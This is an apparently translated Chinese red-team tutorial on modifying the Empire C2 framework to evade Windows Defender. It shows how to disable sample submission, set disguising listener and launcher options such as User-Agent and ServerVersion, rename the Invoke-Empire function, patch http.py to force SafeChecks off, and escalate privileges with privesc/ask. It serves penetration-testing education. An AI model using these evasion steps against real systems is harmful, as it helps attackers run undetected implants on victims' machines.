攻击者如何使用修改后的Empire绕过Windows Defender

概述

长期以来，如何能逃避反病毒软件一直是一个让我着迷的话题。多年前，当我开始研究计算机科学的这个领域时，我就向我的导师提出了一个课题，通过映射二进制文件中的执行流来改进反病毒引擎，从而检测出具有多态性的病毒。随着各项研究课题的不断开展，这一课题最终也被搁置了，我选择了另一个课题进行更加深入的研究。

在渗透测试的过程中，或者作为红蓝对抗中的红队（攻击方），绕过反病毒软件是必要的一个步骤。这也是非常令人沮丧的一个环节，因为尽管“基于签名的”反病毒软件在阻止威胁方面的表现往往不尽如人意，但要逃避这些反病毒软件的检测，过程也是非常痛苦的。

要逃避反病毒软件，有一个非常流行的优秀思路就是“编写自己的自定义工具”。如果我们需要做的只是编写一个简单的逆向Shell，或者我们有大量预算和大量时间来从头开发一个完整的C&C基础架构，那么这将是一个很好的思路。但是，在大多数情况下，我们都要依赖于安全社区中其他研究者开发的大量开源（和商业）工具。是的，我们希望能够运行类似于Mimikatz或者Engagement之类的工具，而不需要付出大量自行开发的努力。

有一个比较好用的工具，就是Empire。首先为不了解该工具的读者做一个简单介绍，Empire是一款后期利用的C&C服务器，其中包含各种攻击性工具。它是一个非常强大的工具，可以成为攻击过程中的一个环节，但前提是它没有被进程中的反病毒程序检测到，并变得无法使用。有一段时间，Empire非常善于逃避像Windows Defender这样的检测产品。然而，好景不长。在如今，如果我们创建一个通用的HTTP监听器代理Payload，并在内存中执行，甚至在这过程中都没有接触到磁盘，可能就会看到如下所示的内容。

Windows Defender抓住了我们的恶意行为。那么，假如我们对其进行加壳呢？结果也是徒劳的。

由于Empire是免费的开源软件，所以通过我们一点点拆解分析Empire，我们发现了其中可以修改的一些关键区域，从而使用修改后的Empire实现绕过客户端反病毒软件Windows

Defender。

在开始任何测试之前，我们首先需要在Windows Defender中关闭“云端保护”（Cloud-delivered Protection），特别是其中的“自动提交样本”（Automatic sample submission），因为我们不希望任何测试过程中使用的文件进入到互联网上，特别是进入到Windows Defender的分布式签名中。当然，我们要保持“实时保护”开启，以便我们可以测试执行情况以及逃避检测的效果。

无论我们做任何的尝试，都一定不要将文件上传到VirusTotal上。如果上传相关的文件，将会完全阻止我们想要达成的目标。在下文中我们将会提到，即使初始Payload通过了反病毒检查，Windows Defender也可以检测到Empire。如果上传到VirusTotal，我们就无法证明该工具是否真的成功逃避了目标主机的检测，并且也会毁掉我们前面的所有努力成果。

现在，我们的测试环境已经准备就绪，是时候开始使用Empire了。

我们进行了绕过Windows Defender的前几次尝试，结果都没有成功。我们在Empire multi/launcher Payload中设置了misc选项，但这些设置都是没有用的，并且也不会实际工作。

Empire的HTTP listener默认选项：

Empire的multi/launcher默认选项：

接下来，我觉得是时候做一些偷偷摸摸的事情了。我决定借助PowerShell混淆工具来对其进行混淆，以此来实现掩人耳目的目的。我尝试了Unicore，但没有效果。随后，我还尝试了Veil Framework和Empire自身的原生Invoke-Obfuscation进行混淆，但上述尝试都没有成功。

在这时，我注意到，通过使用混淆工具，我可以获得写入磁盘的Payload，基本上绕过了反病毒软件的签名库。但是，在执行过程中，却可以被检测到，或者只是简单地发生了执行失败。

像往常一样，我们如果盲目的进行测试，很少能获得成功的结果。现在，是时候了解Empire的真正原理了。

拆解Empire

Empire生成的初始Payload是所谓的“stager”，特别是其中stage0 Payload。这里的stager实际上是一些代码，用于远程下载和执行另一个stager或实际Payload。在我们的示例中，我们会使用multi/launcher PowerShell Stager来运行HTTP listener。

测试stager0 Payload实际上非常简单。它首先会生成Payload，然后将其写入文件中，然后将其传输到Windows计算机上。如果在接触到磁盘时触发了反病毒警告，那么可能就需要事先进行更多的工作。如果在传输过程中一切正常，并且执行也正常，那么我们可能就得到了一个可用的stager。

在这里，有一个非常重要的经验要分享给大家。在反复测试Payload时，可能会一遍又一遍地触发Windows Defender，在这个过程中，Windows Defender可能会被“吓坏”（没有更好的词语能如此贴切地描述此情况了）。在我的实际测试期间，我遇到了一个问题，我发现Windows Defender在被吓坏后，会将所有的PowerShell文件标记为病毒，甚至连空文件都不例外。如果遇到了这种情况，请重新启动虚拟机或计算机。我推测，此时Windows Defender可能知道我正在进行文件传输操作的主机是恶意的，并且会禁止PowerShell执行，无论实际运行的是什么文件。由于事先已经非常机智地关闭了自动恶意软件提交和云端保护功能，那么我们重新启动后，就可以刷新这一功能。

要生成能够绕过Windows Defender的multi/launcher stager，我们所需要做的只是使用Empire中显示的选项。这很令人震惊，我知道。在这里，我并不会告诉大家我正在使用的确切选项，因为要防止有人立即使用这些选项并忽略我关于不能上传到VirusTotal的警告。但是，我会向大家展示我建议修改的选项。

推荐使用Empire HTTP listener选项进行编辑：

1. DefaultProfile：Empire将在不同时间调用的3个URL以及User-Agent字符串。

示例：/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

2. ServerVersion：Web服务器版本标识符。

示例：Microsoft-IIS/7.5

3. Host：你的主机（或IP）和端口号。

4. Port：端口，应与指定的主机端口相同。

5. UserAgent：Empire发送的用户代理（User-Agent）信息，模仿真实的Web浏览器流量。

示例：Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36

6. StagerURI：stager的URI来源。为保证正常工作，其中必须包括/download，无需额外修改。

7. CertPath：设置Empire的默认自签名证书位置为./Empire/data。根据环境的安全程度，自签名证书可能会失效。Windows Defender允许自签名证书。

8. DefaultJitter：向Empire服务器发送信标呼叫时的随机延迟。

示例：0.0

9. Launcher：用于执行stager的命令。

示例：powershell -noP -sta -w 1 –en

推荐使用Empire multi/launcher选项进行编辑：

1. Listener：这一项必须设置，默认情况下可能是http。

2. UserAgent：用户代理信息。

3. SafeChecks：尝试检测launcher是否在沙箱中运行。

示例：True

4. Obfuscate：是否混淆自动生成的launcher代码。

示例：False

5. ObfuscateCommand：要使用的混淆命令。

示例：Token\All\1,Launcher\STDIN++\12467

在这里，我们给出一个提示，建议将SafeChecks设置为False。因为SafeChecks会尝试确定stager是否在反病毒沙箱中运行。如果去掉SafeChecks功能，会减少大量生成的代码，但由于我们会被反病毒软件检测到，所以显然无法正常工作。

解决Empire无法启动问题

凭借我们修改后的Payload，我们这一次肯定能成功运行Empire了，对吧？答案是否定的。这时，Payload将会执行，我们将会看到初始连接，并发送第一阶段。然后，就没有动静了。显然是其中哪里出了问题。

在实际测试过程中，我决定关闭反病毒保护，并在Windows主机上启动Empire，启动完成后再重新启用反病毒软件。令我兴奋的是，这时我们的Empire并没有挂掉。只要我们能让Empire启动，一切就都会变好的。但是，为什么它无法启动呢？

我们深入挖掘Empire的代码库，看到了第一阶段的代码。在这一过程中，由于Empire使用了加密的安全环境，所以可以逃避检测，但其自身并没有以任何方式编码。我们花费一些时间，对其进行修改。经过一些测试和试错，通过对部分文件进行编辑，我们已经可以断定，Invoke-Empire函数的名称是罪魁祸首。正如Black Hills Information Security发表的文章中所建议的那样，我们只需要将函数名称更改为Invoke-RandomStringHere，就可以防止被检测出来。现在，我们要做的就是编辑Invoke-Empire函数的名称，当然也可以进一步修改stage1的代码。

我们对./Empire/data/agent/stagers/http.ps1进行编辑：

Invoke-Empire -Servers @(($s -split "/")[0..2] -join "/") -StagingKey $SK -SessionKey $key -SessionID $ID -WorkingHours "WORKING_HOURS_REPLACE" -KillDate "REPLACE_KILLDATE" -ProxySettings $Script:Proxy;

接下来，对./Empire/data/agent/agent.ps1进行编辑：

function Invoke-Empire {

让我们再次尝试运行我们的Empire stager：

非常不错，我们已经成功战胜了Windows Defender！

由于我们是在安装最新补丁的Windows 10主机上进行测试，所以可以用来实现权限提升的方法并不多。因此，我们尝试一下可以信任的powershell/privesc/ask模块，它会弹出一个对话框，询问用户是否要以管理员身份运行PowerShell。这无疑是一个好兆头，但点击“是”之后，什么都没有发生。

最后的调整

我承认，这让我非常困惑。如果我们的stager能够成功实现最初的漏洞利用，那么为什么不能实现权限提升呢？经过一些调试过后，我们可以捕获使用privesc/ask模块发送的stager。尽管它包含我在multi/launcher配置中进行的一些修改，但还与之有一个明显的区别，就是其中还包含我们之前设置为False的SafeChecks代码！

我无法确定，这里包含的SafeChecks是否是由于Empire中的Bug造成的。但是，SafeChecks代码目前确实存在问题，似乎已经被这里Empire出现的错误所证实。我们将选项设置为“始终为False”，可以解决我们的问题。

编辑./Empire/lib/listeners/http.py：

    def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None):
        """
        Generate a basic launcher for the specified listener.
        """
 
        # Add this line to override SafeChecks
        safeChecks='False'

然后，运行“python -m compileall”，并重启Empire。随后，启动powershell/privesc/ask。

最终，我们成功使用修改后的Empire绕过了Windows Defender。但魔高一尺，道高一丈，这个方法也只是现在可以使用。随着Windows Defender的不断更新，我们可以预测，将会有越来越多的绕过方法逐渐失效，也会有更多的绕过思路相继提出。